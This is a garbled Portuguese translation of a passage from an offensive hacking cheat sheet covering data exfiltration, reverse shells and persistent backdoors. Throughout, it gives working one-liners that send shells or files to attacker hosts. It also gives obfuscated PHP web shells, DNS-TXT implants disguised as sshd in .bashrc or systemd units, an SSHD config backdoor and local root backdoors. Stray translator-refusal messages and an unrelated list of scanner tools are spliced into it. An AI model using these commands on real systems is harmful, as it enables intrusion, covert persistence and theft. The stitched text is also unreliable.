openssl req -subj '/CN=example.com/O=EL/C=XX' -new -newkey ed25519 -days 14 -nodes -x509 -keyout ssl.key -out ssl.crt
cat ssl.key ssl.crt >ssl.pem
rm -f ssl.key ssl.crt
mkdir upload
cat ssl.pem
socat OPENSSL-LISTEN:31337,reuseaddr,fork,cert=ssl.pem,cafile=ssl.pem EXEC:"rsync --server -logtprR --safe-links --partial upload"
```
Remetente:```posh
# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
   rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@"  0:
}
# Using rsync + openssl
up2() {
   rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@"  0:
}
up1 /var/www/./warez
up2 /var/www/./warez
```
Rsync pode ser combinado para exfiltração via [https / cloudflared raw TCP tunnels](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service).  
(Para exfiltrar do Windows, use o rsync.exe do [pacote Windows gsocket](https://github.com/hackerschoice/binary/raw/main/gsocket/bin/gs-netcat_x86_64-cygwin_full.zip)). Uma solução mais ruidosa é o [syncthing](https://syncthing.net/).

Dica profissional: hackers preguiçosos apenas digitam `exfil` no segfault.net.

---
<a id="webdav"></a>
### 4.x. Transferência de arquivos - usando WebDAV

No receptor (ex.: segfault.net) inicie um Cloudflare-Tunnel e WebDAV:```sh
cloudflared tunnel --url localhost:8080 &
# [...]
# +--------------------------------------------------------------------------------------------+
# |  Your quick Tunnel has been created! Visit it at (it may take some time to be reachable):  |
# |  https://example-foo-bar-lights.trycloudflare.com                                          |
# +--------------------------------------------------------------------------------------------+
# [...]
wsgidav --port=8080 --root=.  --auth=anonymous
```
Em outro servidor:```sh
# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}
```
Acesse o compartilhamento a partir do Windows (para arrastar e soltar arquivos) no Explorador de Arquivos:```
\\example-foo-bar-lights.trycloudflare.com@SSL\sources
```
Ou monte o compartilhamento WebDAV no Windows (Z:/):```
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources
```
---
<a id="tg"></a>
### 4.xi. Transferência de arquivos para o Telegram

Existem [inúmeros serviços de upload](#cloudexfil), mas o TG é uma alternativa prática. Obtenha um _TG-Bot-Token_ do [TG BotFather](https://www.siteguarding.com/en/how-to-get-telegram-bot-api-token). Em seguida, crie um novo grupo no TG e adicione seu bot ao grupo. Recupere o _chat_id_ desse grupo:```sh
curl -s "https://api.telegram.org/bot<TG-BOT-TOKEN>/getUpdates" | jq -r '.result[].message.chat.id' | uniq
# If you get only {"ok":true,"result":[]} then remove and add the bot again.
```
Nenhum conteúdo foi fornecido após "INPUT:". Por favor, insira o texto Markdown para tradução.```sh
# Upload file.zip straight into the group chat:
curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"
```
---
<a id="reverse-shell"></a>
## 5. Reverse Shell / Shell Burro

Dica: Use [https://www.revshells.com/](https://www.revshells.com/) 👌

<a id="reverse-shell-gs-netcat"></a>
**5.i.a. Reverse shell com gs-netcat (criptografado)**

Consulte [6. Backdoors](#backdoor) para um comando de uma linha para implantar e acessar uma reverse shell PTY totalmente funcional usando [https://gsocket.io/deploy](https://gsocket.io/deploy).

<a id="reverse-shell-bash"></a>
**5.i.b. Reverse shell com Bash**

Inicie o netcat para escutar na porta 1524 no seu sistema:```sh
nc -nvlp 1524
```
Após a conexão, [faça o upgrade](#reverse-shell-interactive) da sua shell para uma shell PTY totalmente interativa. Alternativamente, use [pwncat-cs](https://pwncat.org/) em vez de netcat:```sh
pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.
```
No sistema remoto, este comando se conectará de volta ao seu sistema (IP = 3.13.3.7, Porta 1524) e fornecerá um prompt de shell:```sh
# If the current shell is Bash already:
(bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &) 
# If the current shell is NOT Bash then we need:
bash -c '(exec bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'
# or hide the bash process as 'kqueue'
bash -c '(exec -a kqueue bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'
```
Alternativamente, no sistema remoto, coloque isto no `~/.profile` ou no crontab para reiniciar o shell de conexão reversa (e também impede que múltiplas instâncias sejam iniciadas):```sh
fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null &)
```
<a id="curlshell"></a>
**5.i.c. Reverse shell com cURL (criptografado)**

Use [curlshell](https://github.com/SkyperTHC/curlshell). Isso também funciona através de proxies e quando conexão TCP direta com o mundo externo é proibida:```sh
# On YOUR workstation
# Generate SSL keys:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"
# Start your listening server:
./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080
```
```sh
# On the target:
curl -skfL https://3.13.3.7:8080 | bash
```
<a id="curltelnet"></a>
**5.i.d Shell reverso com cURL (texto claro)**

Inicie o ncat para escutar por múltiplas conexões:```sh
ncat -kltv 1524
```
```sh
# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null
```
<a id="sslshell"></a>
**5.i.e. Shell reverso com OpenSSL (criptografado)**```sh
# On YOUR workstation:
# Generate SSL keys:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"
# Start your listening server:
openssl s_server -port 1524 -cert cert.pem -key key.pem
# Or pwncat:
# pwncat -lp 1524 --ssl
```
* [LogHub](https://github.com/NVISOsecurity/loghub) - biblioteca Python e CLI que permitem configurar o encaminhamento Syslog globalmente para vários serviços de cloud ou todos os seus ambientes de uma só vez.
* [log4scanner](https://forsec.dev/wp-content/uploads/2022/08/log_small.png)**(super popular no momento)** - ferramenta para varredura fácil da vulnerabilidade CVE-2021-44228.
* [Snyk](https://snyk.io) - O Snyk encontra e corrige vulnerabilidades e violações de licença em dependências de código aberto e imagens de contêiner. (30% de desconto em planos pagos para empregos infosec).
* [Orchestron](http://www.orchestron.com/) *(comercial)* - solução completa de segurança de aplicações que oferece avaliação de vulnerabilidades para aplicações móveis e web.
* [Flan Scan](http://github.com/cloudflare/flan) - scanner leve de vulnerabilidades de rede que utiliza o Nmap e o script vulners para encontrar vulnerabilidades de rede.
* [Insider CLI](https://github.com/insidersec/insider) - ferramenta SAST de código aberto focada em caçar divulgação de segredos, segredos hard-coded e mais.
* [DeepSurface](https://www.deepsurface.com/) *(comercial)* - plataforma de pontuação de risco contextual e priorização automatizada que mapeia a sua pegada digital e fornece uma priorização baseada em risco das vulnerabilidades.
* [VulnerableCode](https://github.com/nexB/vulnerablecode) - base de dados gratuita e de código aberto de pacotes afetados por vulnerabilidades de segurança conhecidas, suas correções e dados de cobertura prontos para uso.
* [Vulnerability LFE](https://github.com/gscharf/Vulnerability-LFE) - exploits e dados de prova de conceito gratuitos e de código aberto, com ênfase em problemas do CISA KEV.
* [Snyk Advisor](https://snyk.io/advisor/) - pesquise e compare a saúde dos pacotes para ajudar os desenvolvedores a escolher os pacotes de código aberto mais seguros.
* [S3crets Scanner](https://github.com/Eilonh/s3crets_scanner) - O S3crets Scanner é uma ferramenta que percorre repositórios Git, varre o histórico de commits e visa identificar e prevenir a exposição de segredos, PII e arquivos sensíveis em buckets S3 expostos publicamente.
* [nodejsscan](https://github.com/ajinabraham/nodejsscan) - scanner estático de código de segurança para aplicações Node.js. Alimenta o [opensecurity.in](https://opensecurity.in).
* [Qualys Community Edition](https://www.qualys.com/community-edition/) - gestão de ativos e avaliação de vulnerabilidades sem custos para até 16 ativos internos ou externos, escalável para ativos ilimitados com licenciamento.
* [zenmap](https://nmap.org/zenmap/) - Interface gráfica oficial do Nmap Security Scanner, útil para varrer portas abertas, serviços e suas vulnerabilidades.
* [Socket](https://socket.dev/) - análise de segurança em tempo real e feedback acionável contra riscos na cadeia de suprimentos para dependências de código aberto.
* [Graph API Ninja](https://github.com/dafthack/GraphAPI-Ninja) - auxilia na detecção de fraquezas de segurança, configurações incorretas e definições padrão inseguras na Microsoft Graph API.
* [Hackuity](https://www.hackuity.io/en/) *(comercial)* - plataforma de gestão de vulnerabilidades baseada em risco para definir prioridades baseadas em risco em vez de pontuações CVSS.
* [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) - fonte autorizada de vulnerabilidades que foram exploradas in the wild, base de conhecimento para CISOs e sistemas de gestão de vulnerabilidades.
* [OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org/) - scanners de segurança, além de um conjunto de ferramentas para detecção de vulnerabilidades de segurança (DAST).
* [Nexpose Community Edition](https://www.rapid7.com/products/nexpose/) - scanner gratuito de gestão de vulnerabilidades para um único utilizador com até 32 IPs.
* [HookPhish](https://github.com/ImAyrix/HookPhish) - ferramenta de teste de segurança que ajuda a detetar e explorar vulnerabilidades em aplicações web.```sh
# On the target, start an openssl reverse shell as background process:
({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )
```
<a id="reverse-shell-no-bash"></a>
**5.i.f. Shell reverso sem /dev/tcp**

Sistemas embarcados nem sempre têm Bash e o truque */dev/tcp/* não funcionará. Existem muitas outras formas (Python, PHP, Perl, etc.). Nossa favorita é enviar o netcat e usar netcat ou telnet:

No sistema remoto:```sh
nc -e /bin/sh -vn 3.13.3.7 1524
```
Variante se *'-e'* não for suportado:```sh
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :
```
* Em shells modernos isso pode ser abreviado para `{ nc 3.13.3.7 1524 </dev/fd/2|sh;} 2>&1|:`. (*obrigado IA_PD*).  
* O truque `| :` não funciona em C-Shell/tcsh (FreeBSD), Bourne shell original (Solaris) ou Korn shell (AIX). Use `mkfifo` em vez disso.

Variante para */bin/sh* mais antigo:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | nc -vn 3.13.3.7 1524 >/tmp/.io
```
Variante Telnet:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io
```
Variante Telnet quando mkfifo não é suportado (Ulg!):```sh
touch /tmp/.fio; tail -f /tmp/.fio | sh -i | telnet 3.13.3.7 31337 >/tmp/.fio
```
Note: Não se esqueça de `rm /tmp/.fio` após o login.



<a id="revese-shell-remote-moe"></a>
**5.i.h. Reverse shell com remote.moe e ssh (criptografado)**

É possível tunelar TCP bruto (ex: reverse shell bash) através do [remote.moe](https://remote.moe):

Na sua estação de trabalho:```sh
# First Terminal - Create a remote.moe tunnel to your workstation
ssh-keygen -q -t rsa -N "" -f .r  # New key creates a new remote.moe-address
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe

# Second Terminal - start listening for the reverse shell
nc -vnlp 8080
```
No alvo (requer SSH e Bash):```sh
bash -c '(killall ssh; rm -f /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r; ssh -i /tmp/.r -o StrictHostKeyChecking=no -L31338:uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 -Nf remote.moe;  bash -i &>/dev/tcp/0/31338 0>&1 &)'
```
No alvo (alternativa; requer ssh, bash e mkfifo):```sh
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p  2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)
```
<a id="reverse-shell-python"></a>
**5.i.i. Reverse shell com Python**```sh
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.13.3.7",1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```
<a id="reverse-shell-perl"></a>
**5.i.j. Reverse shell com Perl**```sh
# method 1
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
```
<a id="reverse-shell-php"></a>
**5.i.k. Reverse shell com PHP**```sh
php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");'
```
<a id="reverse-shell-upgrade"></a>
<a id="reverse-shell-pty"></a>
**5.ii.a. Atualizar um reverse shell para um shell PTY**

Qualquer um dos reverse shells acima é limitado. Por exemplo, *sudo bash* ou *top* não funcionarão. Para fazer esses funcionarem, temos que atualizar o shell para um shell PTY real:```sh
# Using script
exec script -qc /bin/bash /dev/null  # Linux
exec script -q /dev/null /bin/bash   # BSD
```
I'm ready to translate the content, but the input chunk appears to be empty—there's no text provided after the "INPUT:" marker. Please provide the actual chunk content so I can translate it from English to Portuguese.```sh
# Using python
exec python -c 'import pty; pty.spawn("/bin/bash")'
```
<a id="reverse-shell-interactive"></a>
**5.ii.b. Atualize um reverse shell para um shell totalmente interativo**

...e se também quisermos usar Ctrl-C etc., então temos que ir até o fim e atualizar o reverse shell para um verdadeiro shell interativo totalmente colorido:```sh
# On the target host spawn a PTY using any of the above examples:
python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.
```
I received no translatable content in this chunk. The `INPUT:` section is empty, so there is nothing to translate.```
# On your terminal execute:
stty raw -echo icrnl opost; fg
```
No content was provided in the input. Please supply the chunk text to translate.```sh
# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
```
<a id="reverse-shell-socat"></a>
**5.ii.c. Shell reversa com socat (totalmente interativo)**

...ou instale o socat e resolva isso sem muita complicação:```sh
# on attacker's host (listener)
socat file:`tty`,raw,echo=0 tcp-listen:1524
# on target host (reverse shell)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:3.13.3.7:1524
```
---
<a id="backdoor"></a>
## 6. Backdoors

Consulte [Reverse Shell / Dumb Shell](#reverse-shell) para reverse shells simples de 1 linha.

<a id="gsnc"></a>
**6.i. Reverse shell usando gs-netcat**

Na maioria das vezes, usamos o script de implantação automatizada do gs-netcat: [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy).```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"
```
ou```sh
bash -c "$(wget --no-check-certificate -qO- https://gsocket.io/y)"
```
ou implante o gsocket executando seu próprio servidor de implantação:```sh
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)"  # Notice '/ys' instead of '/y'
```
<a id="sshx"></a>
**6.ii. Shell reversa com sshx.io (criptografado)**

Acesse um shell remoto pelo seu navegador da web [https://sshx.io](https://sshx.io).

Envie o sshx-backdoor diretamente para a memória:```shell
echo $(curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null \
 |nohup perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}"/usr/bin/python3",("-q")' 2>/dev/null \
 |{ read x;echo "$x";}&)
```
Ou do jeito mais simples:```shell
curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \
&& chmod 755 .s \
&& (PATH=.:$PATH .s -q >.u 2>/dev/null &);
for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;
```
<a id="backdoor-sshd"></a>
**6.iii. Menor backdoor SSHD**

- Sobrevive ao `apt update`
- Não cria nenhum arquivo novo.
- Não usa `authorized_keys` nem PAM.

Adicionar sua chave a *authorized_keys* é superutilizado 😩. Em vez disso, como root, recorte e cole isto _uma vez_ em qualquer alvo. Isso adicionará uma única linha à configuração do SSHD e permitirá que você faça login para sempre:```shell
backdoor_sshd() {
	local B="/etc/ssh"
	local K="${B}/ssh_host_ed25519_key" D="${B}/sshd_config.d"
	local N=$(cd "${D}" 2>/dev/null|| exit; shopt -s nullglob; echo *.conf)
	[ ! -f "$K" ] && K="${B}/ssh_host_rsa_key"
	[ -n "$N" ] && N="${N%%\.conf*}.conf"
	N="${D}/${N:-50-cloud-init.conf}"
	[ ! -d "${D}" ] && N="${B}/sshd_config"
	{ [ ! -f "$K" ] || [ ! -f "$K".pub ]; } && return
	grep -iqm1 '^PermitRootLogin\s\+no' "${B}/sshd_config" && echo >&2 "WARN: PermitRootLogin blocking in sshd_config"
	echo -e "\e[0;31mYour id_ed25519 to log in to this server as any user:\e[0;33m\n$(cat "${K}")\e[0m"
	grep -qm1 '^AuthorizedKeysFile' "$N" 2>/dev/null && { echo >&2 "WARN: Already backdoored"; return; }
	echo -e "AuthorizedKeysFile\t.ssh/authorized_keys .ssh/authorized_keys2 ${K}.pub" >>"${N}" || return
	touch -r "$K" "$N" "$D" \
	&& declare -F ctime >/dev/null && ctime "$N" "$D"
	command -v systemctl >/dev/null && { systemctl restart ssh;:;} || service ssh restart
}
backdoor_sshd
```
Como funciona:
- A chave de host do SSHD é apenas uma chave ed25519 comum.
- Qualquer chave ed25519 pode ser usada para autenticar um usuário.
- O SSHD verifica `~/.ssh/authorized_keys` (mas esse truque já foi usado demais).
- Em vez disso, configure o SSHD para também verificar `/etc/ssh/sshd_host_ed25519_key.pub` em busca de chaves de autenticação de login.
- O SSHD agora verificará `~/.ssh/authorized_keys` _e_ `/etc/ssh/ssh_host_ed25519_key.pub` em busca de chaves de login válidas.
- Use a chave secreta `/etc/ssh/sshd_host_ed25519_key` para fazer login no alvo.

<a id="backdoor-network"></a>
**6.vi. Acesso remoto a uma rede inteira**

Instale o [gs-netcat](https://github.com/hackerschoice/gsocket). Ele cria um nó de saída SOCKS na LAN privada do Host, que é acessível através da Global Socket Relay Network sem a necessidade de executar seu próprio servidor relay (por exemplo, acesse a LAN privada remota diretamente da sua estação de trabalho):```sh
gs-netcat -l -S       # compromised Host
```
Agora, a partir da sua estação de trabalho, você pode se conectar a QUALQUER host na LAN privada do Host:```sh
gs-netcat -p 1080    # Your workstation.

# Access route.local:22 on the Host's private LAN from your Workstation:
socat -  "SOCKS4a:127.1:route.local:22"
```
Leia [Use qualquer ferramenta via Socks Proxy](#scan-proxy).

Outros métodos:
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - nosso próprio artigo
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - do segfault.net para qualquer rede (interna).

<a id="php-backdoor"></a>
**6.v. Menor Backdoor PHP**

Adicione esta linha no início de qualquer arquivo PHP:```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>
```
É codificação base64 de:```php
if(isset($_POST[0])){system($_POST[0]);die;}
```
Teste a backdoor:```sh
### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"
```
Às vezes, `system()` é proibido. Adicione `eval()` para permitir a execução remota de código PHP como backup. Oculte em outros comentários em base64 para alguma ofuscação:```php
<?PHP /*1rUY9TDs2wG8In1HkSQzqViVtX2nGidgu/RkzKNJbfho9NqtfTaww4GcR6bIGU+U1AJq
USOIjliQm4T/9HP6YS6IMhwoZzmr2iydbwDcVynDqtLjI5i7owLKmjbKnijTszoXP/dif9ZcbhtJ
WQKmhCno0boYQQ2rjHgW3su1C7pYREPSdrYD/4QBpptJU7Djnm5zuyD2TXNjHXm/ZYUW+n4s3PM7
aWqzWzy*/if(isset($_POST[0])){eval($_POST[1]?:"");system($_POST[0]);die;}/*P
0KKBW1rvtqxOK8L9Ok6y7Rulkl2um62KVxvVx/+kODDw4HZV5Yx/HK/7lG+X/IkK8LViCIuaedXl
HM1wHBlDluhe8BN6pH33fn0bfFpjCDaKrKwK3QF6ExJu1JgKK9deyWUTcqbr0dhe7ZliOIldh3of
+4qUjhVdK4SoeND/Dd+iwRAbhZKxaHfng4ADqdWrwjUPoyTjzOp6C3iDzunviiG0RC3iDuCY*/?>
```
Acione com qualquer um destes para executar comando ou código PHP:```shell
# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'
```
<a id="reverse-dns-backdoor"></a>
**6.vi. Menor backdoor de túnel DNS reverso**

...em PHP:
---
Execute comandos arbitrários em um servidor que _não_ é acessível pela Internet pública usando um gatilho de DNS reverso.

Adicione esta linha (o implante) no início de qualquer arquivo PHP:```php
<?PHP eval(base64_decode(dns_get_record("b00m.team-teso.net", DNS_TXT)[0]['txt'])); ?>
```
O implant solicita o payload por meio de uma solicitação DNS TXT do domínio `b00m.team-teso.net`. Quando acionado, ele cria `/tmp/.b00m` e notifica o THC (por meio de um callback para app.interactsh.com). *Por favor* use seu próprio domínio e também crie seu próprio payload. Exemplo:```shell
echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0
```
- O payload DNS TXT é limitado a 2,048 caracteres (às vezes 65,535 caracteres).
- O implante é um `bootloader`. Use um loop while para baixar e executar um payload maior via DNS.
- Confira nossos lugares favoritos para [registrar um domínio anonimamente](#pub). O Free-Tier da [Cloudflare](https://www.cloudflare.com) é um bom começo.

...em BASH:
---
Adicione este implante ao `~/.bashrc` do alvo ou ao crontab (demo-paypload):```shell
# Use a "double bash" to redirect _also_ errors from $()-subshell to /dev/null:
bash -c 'exec bash -c "{ $(dig +short b00m2.team-teso.net TXT|tr -d \ \"|base64 -d);}"'&>/dev/null
```
ou altere o demo-payload para um payload elaborado:
- Inicia um daemon em segundo plano para consultar a cada hora pela execução de comandos.
- Depende apenas de bash, dig e base64.
- Esconde-se como `sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`
- O exemplo usa `b00m2.team-teso.net` novamente e cria /tmp/.b00m a cada hora.

Copie e cole o seguinte no shell do alvo para gerar o implante de 1 linha:```shell
# If dig does not exists then replace /dig +short.../ with
# /nslookup -q=txt '"$D"'|grep -Fm1 "text ="|sed -E "s|.*text = (.*)|\1|g;s|[\" ]||g"|base64 -d|bash/
# or use the Perl example below.
base64 -w0 >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache${UID}
[ -f $M ]&&exit
touch $M
(echo 'slp(){ local IFS;[ -n "${_sfd:-}" ]||exec {_sfd}<> <(:);read -t$1 -u$_sfd||:;}
slp 1
while :; do
	dig +short '"$D"' TXT|tr -d \ \"|base64 -d|bash
	slp 3600
done'|exec -a "$P" bash &) &>/dev/null
EOF
echo "===> Add the following to the target's ~/.bashrc or cronjob:"$'\n\033[0;36m'"echo $(<x.txt)|base64 -d|bash"$'\033[0m'
rm -f x.txt
```
Adicione o resultado de 1 linha do script a qualquer script de inicialização no alvo (use crontab, ~/.bashrc, [udev](https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp) ou `ExecStartPre=`). Aqui está um exemplo engenhoso para */usr/lib/systemd/system/ssh.service* (com alguma ofuscação adicional):```
...
[Service]
EnvironmentFile=-/etc/default/ssh
Environment="SSHD=echo RD1iMDBtMi50ZWFtLXRlc28ubmV0ClA9InNzaGQ6IC91c3Ivc2Jpbi9zc2hkIC1EIFtsaXN0ZW5lcl0gMCBvZiAxMC0xMDAgc3RhcnR1cHMiCk09L2Rldi9zaG0vLmNhY2hlJHtVSUR9ClsgLWYgJE0gXSYmZXhpdAp0b3VjaCAkTQooZWNobyAnc2xwKCl7IGxvY2FsIElGUztbIC1uICIke19zZmQ6LX0iIF18fGV4ZWMge19zZmR9PD4gPCg6KTtyZWFkIC10JDEgLXUkX3NmZHx8Ojt9CnNscCAxCndoaWxlIDo7IGRvCmRpZyArc2hvcnQgJyIkRCInIFRYVHx0ciAtZCBcIFwifGJhc2U2NCAtZHxiYXNoCnNscCAzNjAwCmRvbmUnfGV4ZWMgLWEgIiRQIiBiYXNoICYpICY+L2Rldi9udWxsCg==|base64 -d|bash"
ExecStartPre=-bash -c 'eval $SSHD'
ExecStartPre=/usr/sbin/sshd -t
ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
...
```
...em PERL:
---
O mesmo, mas precisando apenas de perl + bash (sem dig):```shell
perl -MMIME::Base64 -e '$/=undef;print encode_base64(<>,"")' >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache-1-${UID}
(echo 'use Net::DNS;use MIME::Base64;exit(0) if -e "'"$M"'";close(open($f,">","'"$M"'"));for (;;) { system decode_base64((Net::DNS::Resolver->new->query(q/'"$D"'/,q/TXT/)->answer)[0]->txtdata=~y/ \\//dr);sleep(3600)}'|exec -a "$P" perl &) &>/dev/null
EOF
echo "===> Execute the following on the target:"$'\n\033[0;36m'"perl -MMIME::Base64 -e'print decode_base64(\"$(<x.txt)\")'|bash"$'\033[0m'
rm -f x.txt
```
(obrigado a LouCipher por uma versão em perl)

...em PYTHON:
---
Copie & cole o seguinte no seu shell:```shell
pydnsbackdoorgen() {
    local str
    echo -e "This is the TXT record for ${1:?}\e[0;33m"
    base64 -w0 <"${2:?}"
    str="$(echo -en 'import dns.resolver\nexec(base64.b64decode("".join([d.to_text() for d in dns.resolver.resolve("'"${1:?}"'", "TXT").rrset])))' | base64 -w 0)"
    echo -e "\e[0m\nAdd this implant string to a target's python script:\e[0;32m"
    echo "exec('"'try:\n\timport base64\n\texec(base64.b64decode("'"${str}"'"))\nexcept:\n\tpass'"')"
    echo -e "\e[0m"
}
```
Gere seu payload (`egg.py` será executado no alvo):```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF
```
Gere o seu implant (e siga as instruções):```shell
pydnsbackdoorgen b00mpy.team-teso.net egg.py
```
<a id="ld-backdoor"></a>
**6.vii. Backdoor local de root**

#### 1. Instalando backdoor no carregador dinâmico com setcap```bash
### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"
```
#### Verificar as configurações de segurança do kernel

<div class="code_highlight m-4 p-4 bg-secondary bg-opacity-10 rounded-3 border border-secondary border-opacity-10" style="font-family: monospace; line-height: 1.5; overflow-x: auto; white-space: pre; tab-size: 4; font-size: 0.85em; word-wrap: break-word;">
<button class="btn btn-sm btn-outline-secondary mb-2 float-end" data-bs-toggle="tooltip" title="Copy to clipboard" onclick="copyCodeBlock(this)">Copy</button>
<code>./linux-exploit-suggester-2.pl –k
</code></div>```bash
### Execute as non-root user to get root
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
p="$(command -v python3 2>/dev/null)" || p="$(command -v python)"
"${fn:?}" "$p" -c 'import os;os.setuid(0);os.setgid(0);os.execlp("bash", "kdaemon")'
```
#### 2. O bom e velho shell b00m```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null
```
I'm ready to translate the chunk, but the input appears to be empty—no content was provided after "INPUT:". Please provide the chunk text you'd like translated.```shell
